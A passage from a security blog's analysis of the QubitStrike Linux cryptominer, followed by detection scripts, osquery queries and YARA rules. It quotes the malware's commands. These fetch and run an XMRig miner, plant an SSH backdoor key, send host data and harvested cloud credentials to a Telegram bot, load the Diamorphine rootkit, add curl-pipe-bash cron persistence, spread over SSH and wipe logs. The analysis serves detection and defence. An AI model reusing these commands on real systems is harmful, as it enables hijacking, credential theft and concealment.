(typically 0) to 128. I’m most familiar with this optimization for things like Oracle Databases, but it also allegedly offers a 20-30% boost for some types of cryptocurrency mining. &#xA;&#xA;---------------------------------------&#xA; setup hugepages &#xA;---------------------------------------&#xA;hugepages&#xA;sysctl -w vm.nrhugepages=128&#xA;vm.nrhugepages = 128&#xA;echo vm.nrhugepages=128   /etc/sysctl.conf&#xA;&#xA;Any program that references vm.nrhugepages should be considered a possible crypto miner. For more confirmation, combine it with a check for kernel.nmiwatchdog. &#xA;&#xA;Once the appropriate sysctl values are set, the script fetches and starts the miner:&#xA;&#xA;zurl -o /usr/share/.LQvKibDTq4/xm.tar.gz https://codeberg.org/m4rt1/sh/raw/branch/main/xm64.tar.gz&#xA;tar -xf /usr/share/.LQvKibDTq4/xm.tar.gz -C /usr/share/.LQvKibDTq4&#xA;rm -rf /usr/share/.LQvKibDTq4/xm.tar.gz&#xA;chmod +x /usr/share/.LQvKibDTq4/config.json /usr/share/.LQvKibDTq4/python-dev&#xA;/usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90&#xA;&#xA;Unsurprisingly, the program is XMRig - the most popular option for invasive cryptocurrency miners. It&#39;s disappointing that the archive only contains an x8664 binary, but the installer script never checks for the machine architecture. The attacker may have done that step manually within Jupyter. It was a nice touch that the script author limited the CPU usage to 90% to avoid detection.&#xA;&#xA;Installing the backdoor&#xA;&#xA;Rather than implementing its own detectable backdoor, QubitStrike makes the wise decision to use OpenSSH, which is already likely on the system. This works nicely since we already know from the attack profile that the machine is on the Internet, and we&#39;ve already flushed the firewall that may have prevented external SSH access.&#xA;&#xA;The attacker plugs in their SSH credentials (likely from a Kali Linux machine), disables the tcpwrapper controls, reconfigures sshd to allow remote root login, and starts it up. I&#39;m not sure what the &#34;Port 78&#34; reference is all about, but I assume they are disabling a backdoor configuration from a competing crypto miner.&#xA;&#xA;---------------------------------------&#xA; SSH setup  &#xA;---------------------------------------&#xA;sshget&#xA;&#39;[&#39; -f /root/.ssh/authorizedkeys &#39;]&#39;&#xA;chattr -aui /root/.ssh/authorizedkeys&#xA;grep -q &#39;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali&#39; /root/.ssh/authorizedkeys&#xA;echo &#39;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali&#39;&#xA;chattr -aui /etc/ssh&#xA;chattr -aui /etc/ssh/sshdconfig /etc/hosts.deny /etc/hosts.allow&#xA;echo&#xA;echo&#xA;mkdir -p /etc/ssh&#xA;sed -i -e &#39;s/Port 78//g&#39; -e &#39;s/\#Port 22/Port 22/g&#39; -e &#39;s/\#PermitRootLogin/PermitRootLogin/g&#39; -e &#39;s/PermitRootLogin no/PermitRootLogin yes/g&#39; -e &#39;s/PubkeyAuthentication no/PubkeyAuthentication yes/g&#39; -e &#39;s/PasswordAuthentication yes/PasswordAuthentication no/g&#39; /etc/ssh/sshdconfig&#xA;chmod 600 /etc/ssh/sshdconfig&#xA;systemctl restart ssh||service ssh restart||/etc/init.d/ssh restart||/etc/init.d/sshd restart||/etc/rc.d/sshd restart||service sshd restart||scw-fetch-ssh-keys --upgrade&#xA;&#xA;Phoning home&#xA;&#xA;Qubitstrike collects some information about the health of the miner and the backdoor and then sends it to a Telegram channel:&#xA;&#xA;service ssh status&#xA;&#39;[&#39; 0 -eq 0 &#39;]&#39;&#xA;SSHLd=true&#xA;grep python-dev&#xA;grep -v grep&#xA;ps aux&#xA;root        4088  192  0.1  42216  4768 ?        Ssl  18:24   0:02 /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90&#xA;&#39;[&#39; 0 -eq 0 &#39;]&#39;&#xA;MINERstat=running&#xA;DATASTRING=&#39;IP: 136.54.68.146 | WorkDir: /usr/share/.LQvKibDTq4 | User: root | cpu(s): 4 | SSH: true | Miner: running&#39;&#xA;zurl --silent --insecure --data chatid=DEFANGED5531196733 --data disablenotification=false --data parsemode=html --data &#39;text=IP: 136.54.68.146 | WorkDir: /usr/share/.LQvKibDTq4 | User: root | cpu(s): 4 | SSH: true | Miner: running&#39; https://api.telegram.org/DEFANGEDbot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage&#xA;&#xA;Credential Theft&#xA;&#xA;The most disappointing part of the script is how it steals and sends credentials. Their approach is exceptionally slow: It crawls the filesystem separately for each credential type rather than using the find commands native support for finding multiple names. I blame the find command&#39;s bizarre syntax and poorly written documentation, as it took me a couple of attempts to get it correct myself. &#xA;&#xA;CREDFILENAMES=(&#34;credentials&#34; &#34;cloud&#34; &#34;.s3cfg&#34; &#34;.passwd-s3fs&#34; &#34;authinfo2&#34; &#34;.s3backerpasswd&#34; &#34;.s3bconfig&#34; &#34;s3proxy.conf&#34; &#34;accesstokens.db&#34; &#34;credentials.db&#34; &#34;.smbclient.conf&#34; &#34;.smbcredentials&#34; &#34;.sambacredentials&#34; &#34;.pgpass&#34; &#34;secrets&#34; &#34;.boto&#34; &#34;.netrc&#34; &#34;.git-credentials&#34; &#34;apikey&#34; &#34;censys.cfg&#34; &#34;ngrok.yml&#34; &#34;filezilla.xml&#34; &#34;recentservers.xml&#34; &#34;queue.sqlite3&#34; &#34;servlist.conf&#34; &#34;accounts.xml&#34; &#34;azure.json&#34; &#34;kube-env&#34;)&#xA;for CREFILE in ${CREDFILENAMES[@]}&#xA;find / -maxdepth 23 -type f -name credentials&#xA;xargs -I % sh -c &#39;echo :::%; cat %&#39;&#xA;&#xA;Contrary to most credential theft malware, QubitStrike does not attempt to steal credentials for web browsers or wallets - the authors are clearly focused on acquiring more compute resources. I took a look on my own Linux workstation to see what sort of credentials this might pick up and found:&#xA;&#xA;/home/t/.config/gcloud/legacycredentials/t@xyz.dev/.boto&#xA;/home/t/.config/gcloud/credentials.db&#xA;/home/t/.config/gcloud/accesstokens.db&#xA;&#xA;After collection, the script sends the credentials home via a second Telegram message:&#xA;&#xA;++ cat /tmp/creds&#xA;SECRETS=&#xA;zurl --silent --insecure --data chatid=DEFANGED5531196733 --data disablenotification=false --data parsemode=html --data text= https://api.telegram.org/DEFANGEDbot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage&#xA;cat /tmp/creds&#xA;rm /tmp/creds&#xA;&#xA;Safety reminder: never mount your personal home directory to your malware VMs, as the find command would have traversed filesystems to discover and upload your credentials.&#xA;&#xA;The kernel-level rootkit: Diamorphine&#xA;&#xA;Here&#39;s where Qubitstrike gets interesting. This is the first time I&#39;ve seen a casual miner with a Linux rootkit that works on a modern Ubuntu release:&#xA;&#xA;---------------------------------------&#xA; Begin hiding &#xA;---------------------------------------&#xA;exhid&#xA;hide1&#xA;inspackage&#xA;type apt&#xA;apt update -qq --fix-missing&#xA;46 packages can be upgraded. Run &#39;apt list --upgradable&#39; to see them.&#xA;++ uname -r&#xA;apt-get install -y -qq gcc make kmod wget net-tools linux-headers-6.2.0-27-generic -o Dpkg::Progress-Fancy=0 -o APT::Color=0 -o Dpkg::Use-Pty=0&#xA;...&#xA;+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/... | base64 -d&#xA;tar -xf /usr/share/.LQvKibDTq4/hf.tar -C /usr/share/.LQvKibDTq4/&#xA;cd /usr/share/.LQvKibDTq4&#xA;make&#xA;make -C /lib/modules/6.2.0-27-generic/build M=/usr/share/.LQvKibDTq4 modules&#xA;make[1]: Entering directory &#39;/usr/src/linux-headers-6.2.0-27-generic&#39;&#xA;  CC [M]  /usr/share/.LQvKibDTq4/diamorphine.o&#xA;  MODPOST /usr/share/.LQvKibDTq4/Module.symvers&#xA;  CC [M]  /usr/share/.LQvKibDTq4/diamorphine.mod.o&#xA;  LD [M]  /usr/share/.LQvKibDTq4/diamorphine.ko&#xA;  BTF [M] /usr/share/.LQvKibDTq4/diamorphine.ko&#xA;Skipping BTF generation for /usr/share/.LQvKibDTq4/diamorphine.ko due to unavailability of vmlinux&#xA;insmod diamorphine.ko&#xA;&#xA;Rather than fetching the rootkit, it cleverly embeds it as a base64 string and decodes it - providing ample detection opportunity. If you ever see a base64 string that begins with H4sI, you know you are dealing with a base64-encoded gzip file (another detection hint). Since kernel module binaries are not portable, Qubitstrike installs a compiler and the headers necessary before building the rootkit.&#xA;&#xA;So, what is Diamorphine? It&#39;s easily the most popular open-source rootkit for Linux. I&#39;ve long poo-pooed kernel-mode rootkits in Linux as unsupportable due to the constant churn of the Linux kernel, but surprisingly, Diamorphine has been updated to work on modern Linux kernels! It works perfectly on a fully patched Ubuntu 23.04 or 23.10 machine (Linux 6.2.0 &amp; 6.5.3). Diamorphine does segfault on my ArchLinux laptop (Linux 6.5.7), showing that Linux rootkits are still somewhat fragile.&#xA;&#xA;Diamorphine has a unique control mechanism: signals. You can see it in action in Qubitstrike:&#xA;&#xA;echo &#39;Hiding process ( python-dev ) pid ( 4088 )&#39;&#xA;Hiding process ( python-dev ) pid ( 4088 )&#xA;kill -31 4088&#xA;&#xA;How does the process hiding work? Diamorphine intercepts calls to the getdents64(2) system call, used in turn by readdir(3). On Linux, system utilities, such as ps or netstat, read the contents of the /proc directory to know what processes or tasks are currently running - this malware will filter out the pid entry for any processes that have been passed signal 31 (the unused SIGSYS signal).&#xA;&#xA;In addition, Diamorphine has an option of hiding any files matching a MAGICPREFIX. This is commonly used to hide directories, but Qubitstrike does not take advantage of it. Diamorphine also supports other signals, notably  -64, which upgrades a process to root access. From diamorphine.c:&#xA;&#xA;void&#xA;giveroot(void) {&#xA;...&#xA;    newcreds-  uid.val = newcreds-  gid.val = 0;&#xA;    newcreds-  euid.val = newcreds-  egid.val = 0;&#xA;    newcreds-  suid.val = newcreds-  sgid.val = 0;&#xA;    newcreds-  fsuid.val = newcreds-  fsgid.val = 0;&#xA;...&#xA;}&#xA;&#xA;This signals-based mechanism makes Diamorphine easy to detect. Simply iterate over every signal and see what happens! We&#39;ll show an example later.&#xA;&#xA;User-mode rootkit: processhider&#xA;&#xA;If Diamorphine fails to build, QubitStrike falls back to using a modified version of  github.com/gianlucaborello/libprocesshider/blob/master/processhider.c - a user-mode rootkit.&#xA;&#xA;echo I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg... | base64 -d&#xA;sed -i s/procname/python-dev/g /usr/share/.LQvKibDTq4/prochid.c&#xA;chattr -ia /etc/ld.so.preload /usr/local/lib/&#xA;gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so /usr/share/.LQvKibDTq4/prochid.c -ldl&#xA;echo /usr/local/lib/libnetresolv.so   /etc/ld.so.preload&#xA;&#39;[&#39; -f /usr/local/lib/libnetresolv.so &#39;]&#39;&#xA;chattr +i /usr/local/lib/libnetresolv.so&#xA;chattr +i /etc/ld.so.preload&#xA;&#xA;This malware intercepts userland requests to glibc&#39;s readdir(3) function. If the name matches python-dev, the process is hidden in much the same way as Diamorphine. In the old days, user-mode rootkits were deployed by setting the LDLIBRARYPATH environment variable, but on Linux, you can get the same result by adding the library path to /etc/ld.so.preload.&#xA;&#xA;In 99% of environments, this file shouldn&#39;t exist. Check for it.&#xA;&#xA;Establishing Persistence&#xA;&#xA;QubitStrike will establish persistence through cron. First, it grabs the killer script, which shares the same competition killers we saw before, from Codeberg, and installs it to cron:&#xA;&#xA;cronset&#xA;killerd=/usr/share/.28810&#xA;mkdir -p /usr/share/.28810&#xA;[[ zurl -o != &#39;&#39; ]]&#xA;zurl -o /usr/share/.28810/kthreadd https://codeberg.org/m4rt1/sh/raw/branch/main/killer.sh&#xA;chmod +x /usr/share/.28810/kthreadd&#xA;chattr -R -ia /etc/cron.d&#xA;echo -e &#39;/1     root /usr/share/.28810/kthreadd&#39;   /etc/cron.d/netns&#xA;&#xA;It also sets the miner to start on reboot:&#xA;&#xA;echo &#39;@reboot root /usr/share/.LQvKibDTq4/python-dev -c /usr/share/.LQvKibDTq4/config.json&#39;   /etc/cron.d/apache2&#xA;&#xA;Once a day, it starts the QubitStrike installer again using the latest code. Since there is no other cron task to reinstall the Diamorphine module, this means there can be up to a full day where the miner is running unhidden. I like how it hedges its bets by using the renamed zget or curl commands:&#xA;&#xA;echo &#39;@daily root zget -q -O - https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash&#39;   /etc/cron.d/apache2.2&#xA;echo -e &#39;0 0 /2    root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash&#39;    /etc/cron.d/netns2&#xA;echo &#34;0     wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash   /dev/null 2  &amp;1&#34;     /etc/crontab&#xA;echo &#34;0 0 /3    $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash   /dev/null 2  &amp;1&#34;     /etc/crontab&#xA;chattr -R +ia /etc/cron.d&#xA;chattr -R +i /usr/share/.LQvKibDTq4&#xA;&#xA;The viral component of QubitStrike&#xA;&#xA;One of the surprising features of QubitStrike is that it will attempt to replicate itself to any systems it finds in /root/.ssh/knownhosts:&#xA;&#xA;sshlocal() {&#xA;if [ -f /root/.ssh/knownhosts ] &amp;&amp; [ -f /root/.ssh/idrsa.pub ]; then&#xA;  for h in $(grep -oE &#34;\b([0-9]{1,3}\.){3}[0-9]{1,3}\b&#34; /root/.ssh/knownhosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h &#39;$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash   /dev/null 2  &amp;1 &amp;&#39; &amp; done&#xA;fi&#xA;}&#xA;&#xA;To be more effective, the installer should have also parsed other users knownhosts files, but perhaps I shouldn&#39;t be giving malware authors tips.&#xA;&#xA;The coup de grace: log truncation&#xA;&#xA;Before exiting the installer, QubitStrike truncates many important system logs:&#xA;&#xA;logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog)&#xA;  for Lg in &#34;${logs[@]}&#34;; do&#xA;    echo 0  $Lg;&#xA;  done&#xA;&#xA;It does not do anything about truncating systemd logs, though.&#xA;&#xA;Detecting Qubitstrike from a shell&#xA;&#xA;On Linux, process hiders are hilariously simple to detect. In my experience, ro rootkits bother to hide all of the /proc lookup points, preferring instead to just hide from the /proc directory list.&#xA;&#xA;My detection technique is to iterate over all possible process ID numbers and check for the existence of /proc/$pid/something file. If it exists, cross-reference it against the directory listing of /proc, and report missing entries. This works swimmingly:&#xA;&#xA;!/bin/bash&#xA;start=$(date +%s)&#xA;for pid in ; do&#xA;    visible[$pid]=1&#xA;done&#xA;&#xA;for i in $(seq 2 &#34;$(cat /proc/sys/kernel/pidmax)&#34;); do&#xA;    [[ ${visible[$i]} = 1 ]] &amp;&amp; continue&#xA;    [[ ! -e /proc/$i/status ]] &amp;&amp; continue&#xA;    [[ $(stat -c %Z /proc/$i) -ge $start ]] &amp;&amp; continue&#xA;&#xA;    #  pid is a kernel thread&#xA;    [[ $(awk &#39;/Tgid/{ print $2 }&#39; &#34;/proc/${i}/status&#34;) != &#34;${i}&#34; ]] &amp;&amp; continue&#xA;&#xA;    exe=$(readlink &#34;/proc/$i/exe&#34;)&#xA;    cmdline=$(tr &#39;\000&#39; &#39; &#39; &lt;&#34;/proc/$i/cmdline&#34;)&#xA;    echo &#34;- hidden $(cat /proc/$i/comm)[${i}] is running ${exe}: ${cmdline}&#34;&#xA;done&#xA;&#xA;Here&#39;s what this script outputs on a QubitStrike victim host:&#xA;&#xA;hidden python-dev[27158] is running /usr/share/.LQvKibDTq4/python-dev: /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 &#xA;&#xA;If a rootkit uses a kernel module, as Diamorphine does, it&#39;s almost certainly going to impact the kernel taint value, as well as leave evidence behind in the dmesg buffer. QubitStrike and Diamorphine are no exception:&#xA;&#xA;kernel taint value: 12288&#xA;matches bit 12: externally-built (out-of-tree) module was loaded&#xA;matches bit 13: unsigned module was loaded&#xA;&#xA;dmesg:&#xA;[ 1721.518533] diamorphine: loading out-of-tree module taints kernel.&#xA;[ 1721.536521] diamorphine: module verification failed: signature and/or required key missing - tainting kernel&#xA;&#xA;Now for the new star of the show, the script that uncovers kernel rootkits that communicate via signal:&#xA;&#xA;-- [ rootkit-signal-handler.sh ] -----------------------------------------------&#xA;NOTE: root-escalation detection requires a non-root user&#xA;SIGNAL 31 made /proc/46233 (this process) invisible!&#xA;SIGNAL 63 caused /proc/modules to change:&#xA;--- /tmp/tmp.sjwv6iMtDx 2023-10-20 02:34:25.912665169 +0000&#xA;+++ /tmp/tmp.L1e9HVPFGi 2023-10-20 02:34:25.964663794 +0000&#xA;@@ -10,6 +10,7 @@&#xA; bridge&#xA; btrfs&#xA; ccp&#xA;+diamorphine&#xA; dmmultipath&#xA; drm&#xA; drmkmshelper&#xA;SIGNAL 31 made /proc/46233 (this process) visible again!&#xA;SIGNAL 63 caused /proc/modules to change:&#xA;--- /tmp/tmp.IoOFxxR8en 2023-10-20 02:34:34.156522332 +0000&#xA;+++ /tmp/tmp.AWQeOosqOh 2023-10-20 02:34:34.212521840 +0000&#xA;@@ -10,7 +10,6 @@&#xA; bridge&#xA; btrfs&#xA; ccp&#xA;-diamorphine&#xA; dmmultipath&#xA; drm&#xA; drmkmshelper&#xA;&#xA;It&#39;s also easy to detect the SSH keys, hidden directories, and crontab entries - if you want to see how, check out the tstromberg/sunlight repo.&#xA;&#xA;Detecting Qubitstrike with osquery&#xA;&#xA;Some of you might know that I also maintain the osquery-defense-kit project, something I&#39;ve put together in my time at Chainguard. It&#39;s a collection of production-quality queries to uncover suspicious behavior using osquery.&#xA;&#xA;osquery-defense-toolkit has a handy make detect target to run all the scripts. Here&#39;s what pops up on a machine with Qubitstrike:&#xA;&#xA;pid-hidden-by-rootkit (1 rows)&#xA;------------------------------&#xA;cgrouppath:/user.slice/user-501.slice/session-4.scope cmdline:&#39;/usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90&#39; cwd:/ diskbytesread:311296 diskbyteswritten:0 egid:0 euid:0 gid:0 name:python-dev nice:0 ondisk:1 parent:1 path:/usr/share/.LQvKibDTq4/python-dev pgroup:4030 pid:4030 residentsize:4096000 root:/ sgid:0 starttime:1697625949 state:S suid:0 systemtime:23170 threads:10 totalsize:2504282112 uid:0 usertime:6077320 wiredsize:0&#xA;&#xA;This is effectively a port of the hidden-pids.sh script I showed you before:&#xA;&#xA;WITH RECURSIVE cnt(x) AS (&#xA;   SELECT 1&#xA;   UNION ALL&#xA;   SELECT x + 1&#xA;   FROM cnt&#xA;   LIMIT 4194304&#xA;)&#xA;SELECT p.&#xA;FROM cnt&#xA;   JOIN processes p ON x = p.pid&#xA;WHERE x NOT IN (&#xA;       SELECT pid&#xA;       FROM processes&#xA;)&#xA;AND p.starttime &lt; (strftime(&#39;%s&#39;, &#39;now&#39;) - 1)&#xA;AND (&#xA;       p.pgroup = p.pid&#xA;       OR (&#xA;           p.pid = p.parent&#xA;           AND p.threads = 1&#xA;       )&#xA;)&#xA;&#xA;osquery finds the SSH keys:&#xA;&#xA;unexpected-ssh-authorized-keys (1 rows)&#xA;---------------------------------------&#xA;atime:1697625779 ctime:1697625778 gid:0 mtime:1697625778 path:/root/.ssh/authorizedkeys sha256:e8d5053e7c719114b45956695da845840ab45fb3e8d659f4ed991b274a8ed7a8 size:563 uuid:0 uid:0 username:root&#xA;&#xA;As well as the kernel taint:&#xA;&#xA;unusually-tainted-kernel-linux (1 rows)&#xA;---------------------------------------&#xA;forceloaded:0 forceunloaded:0 isaux:0 isunsigned:8192 kernelwarning:0 modules:nftcompat,nftchainnat,overlay,xttcpudp,xtnat,xtmultiport,xtmark,xtconntrack,xtcomment,xtaddrtype,xtMASQUERADE,nftables,nfnetlink,ip6tablefilter,iptablefilter,ip6tablenat,iptablenat,nfnat,nfconntrack,nfdefragipv6,nfdefragipv4,ip6tables,veth,bridge,stp,llc,tap,tls,isofs,kvmamd,ccp,binfmtmisc,kvm,irqbypass,virtioinput,nlsiso88591,inputleds,serioraw,dmmultipath,scsidhrdac,scsidhemc,scsidhalua,efipstore,iptables,xtables,autofs4,btrfs,blake2bgeneric,raid10,raid456,asyncraid6recov,asyncmemcpy,asyncpq,asyncxor,asynctx,xor,raid6pq,libcrc32c,raid1,raid0,multipath,linear,virtiogpu,virtiodmabuf,drmshmemhelper,drmkmshelper,syscopyarea,sysfillrect,sysimgblt,psmouse,ahci,virtionet,drm,libahci,netfailover,virtioblk,xhcipci,xhcipcirenesas,virtiorng,failover outofspec:0 outoftree:4096 proprietary:0 requestedbyuserspace:0 taint:12288&#xA;&#xA;To look at the source code to these queries, see:&#xA;&#xA;pid-hidden-by-rootkit.sql&#xA;unexpected-ssh-authorized-keys.sql&#xA;unusually-tainted-kernel-linux.sql&#xA;&#xA;These queries were written way before QubitStrike ever existed; they just happen to cover a broad set of malicious behavior. It&#39;s nice when old tricks still work on new dogs.&#xA;&#xA;Detecting Qubitstrike with YARA&#xA;&#xA;The original article by Cado had a very specific rule for the QubitStrike installer. Still, it&#39;s worth mentioning that generic malware detection rules that predate QubitStrike are equally as good at detecting not just the QubitStrike, but also the files it installs: Using a set of general-purpose YARA rules I plan to open-source, the QubitStrike installer triggered a record 22 different rules:&#xA;&#xA;CRITICAL /Users/t/src/malware-menagerie/linux/2023.TrojanMiner.QubitStrike/installer/mi.sh&#xA;  routermalware&#xA;      usrsbin: /usr/sbin&#xA;      wget: /wget&#xA;      curl: /curl&#xA;  ldsopreload&#xA;      ldsopreload: /etc/ld.so.preload&#xA;  systemctlcalls&#xA;      systemctldisable: systemctl disable&#xA;  linuxservicedisabler&#xA;      setenforce0: setenforce 0&#xA;      selinuxdisabled: SELINUX=disabled&#xA;      watchdog: kernel.nmiwatchdog=0&#xA;  linuxpkginstallercommand&#xA;      yum: yum install -y&#xA;  dangerbase64decoder&#xA;      base64d: base64 -d&#xA;  echodecodebash&#xA;      echo: echo&#xA;      base64d: base64 -d&#xA;      bash: bash&#xA;  hardcodedvartmplocation&#xA;      vartmp: /var/tmp/.&#xA;  obfuscatedbase64&#xA;      bcprogram: I2luY2x1ZGUgPHN0ZGlvLmg+&#xA;      buserrootkit: jaW5jbHVkZSA8ZGlyZW50Lmg+&#xA;      bgzip: H4sI&#xA;  hidethisplz&#xA;      histfile: HISTFILE=&#xA;      histfiledev: HISTFILE=/dev&#xA;  killandremove&#xA;      rmf: rm -f&#xA;      rmrf: rm -rf&#xA;      kkillall: killall&#xA;      kpgrep: pgrep&#xA;      kpkill: pkill&#xA;  rmfhardcodedtmppath&#xA;      rmftmpvardev: rm -rf /tmp/.LQvKibDTq4/&#xA;  crontabwriter&#xA;      cetccrontab: /etc/crontab&#xA;      crootcronentry:     root&#xA;      creboot: @reboot&#xA;  hiddenpath&#xA;      crit: /tmp/.LQvKibDTq4&#xA;  weirdtmppathnothidden&#xA;      tmpdigits: /tmp/65&#xA;      tmpshort: /tmp/.$&#xA;  chattrcaller&#xA;      chattr: chattr -&#xA;  sshkeyaccess&#xA;      sshauthorizedkeys: authorizedkeys&#xA;      sshdir: /.ssh&#xA;  reconcommands&#xA;      cwhoami: whoami&#xA;      cid: id&#xA;      chostname: hostname&#xA;      cifconfig: ifconfig&#xA;  suspiciousfetchcommand&#xA;      curld: curl -o&#xA;      curlinsecure: curl --silent --insecure&#xA;  hardcodeddnsresolver&#xA;      dgooglepublic: 8.8.8.8&#xA;  dangercryptominer&#xA;      cryptopool: crypto-pool&#xA;      f2pool: f2pool&#xA;      monerohash: monerohash&#xA;      moneropool: moneropool&#xA;      xmrpool: xmrpool&#xA;      xmrig: xmrig&#xA;&#xA;Most of the queries are self-evident, but I&#39;ll share one of the cooler queries I use to detect malware that is hiding data away in base64 encoded blobs:&#xA;&#xA;rule obfuscatedbase64 {&#xA;    $bchmod = &#34;chmod&#34; base64&#xA;    $bcurl = &#34;curl &#34; base64&#xA;    $bbinsh = &#34;/bin/sh&#34; base64&#xA;    $bbinbash = &#34;/bin/bash&#34; base64&#xA;    $bopenssl = &#34;openssl&#34; base64&#xA;    $bdevnull = &#34;/dev/null&#34; base64&#xA;    $buseragent = &#34;User-Agent&#34; base64&#xA;    $busrbin = &#34;/usr/bin&#34; base64&#xA;    $busrsbin = &#34;/usr/sbin&#34; base64&#xA;    $bvartmp = &#34;/var/tmp&#34; base64&#xA;    $bvarrun = &#34;/var/run&#34; base64&#xA;    $bscreendm = &#34;screen -dm&#34; base64&#xA;    $bzmodload = &#34;zmodload&#34; base64&#xA;    $bdevtcp = &#34;/dev/tcp&#34; base64&#xA;    $bbashi = &#34;bash -i&#34; base64&#xA;    $bbashc = &#34;bash -c&#34; base64&#xA;    $bhttp = &#34;http://&#34; base64&#xA;    $bhttps = &#34;https://&#34; base64&#xA;    $bcprogram = &#34;#include stdio.h&#34; base64&#xA;    $buserrootkit = &#34;#include dirent.h&#34; base64&#xA;    $bkernelrootkit = &#34;#include linux/module.h&#34; base64&#xA;    $bcprogram2 = &#34;#includestdio.h&#34; base64&#xA;    $buserrootkit2 = &#34;#includedirent.h&#34; base64&#xA;    $bkernelrootkit2 = &#34;#includelinux/module.h&#34; base64&#xA;    $bpassword = &#34;password&#34; base64&#xA;    $bgzip = &#34;H4sI&#34;&#xA;    $notkandji = &#34;kandji-parameter-agent&#34;&#xA;    $notkolide = &#34;KOLIDELAUNCHEROPTION&#34;&#xA;    $notmdmprofile = &#34;mdmprofile&#34;&#xA;    $notchromium = &#34;RasterCHROMIUM&#34;&#xA;    $notcert = &#34;-----BEGIN CERTIFICATE-----&#34;&#xA;  condition:&#xA;    filesize &lt; 10485760 and any of ($b) and none of ($not)&#xA;}&#xA;&#xA;My rules have not attempted to detect rootkit source code yet, but surprisingly, this exceptionally broad rule worked to discover Diamorphine:&#xA;&#xA;rule suspiciouskeywords {&#xA;  strings:&#xA;    $DDoS = &#34;DDoS&#34;&#xA;    $DD0S = &#34;DD0S&#34;&#xA;    $backdoor = &#34;backdoor&#34;&#xA;    $Backdoor = &#34;Backdoor&#34;&#xA;    $backd00r = &#34;backd00r&#34;&#xA;    $rootkit = &#34;rootkit&#34;&#xA;    $Rootkit = &#34;Rootkit&#34;&#xA;    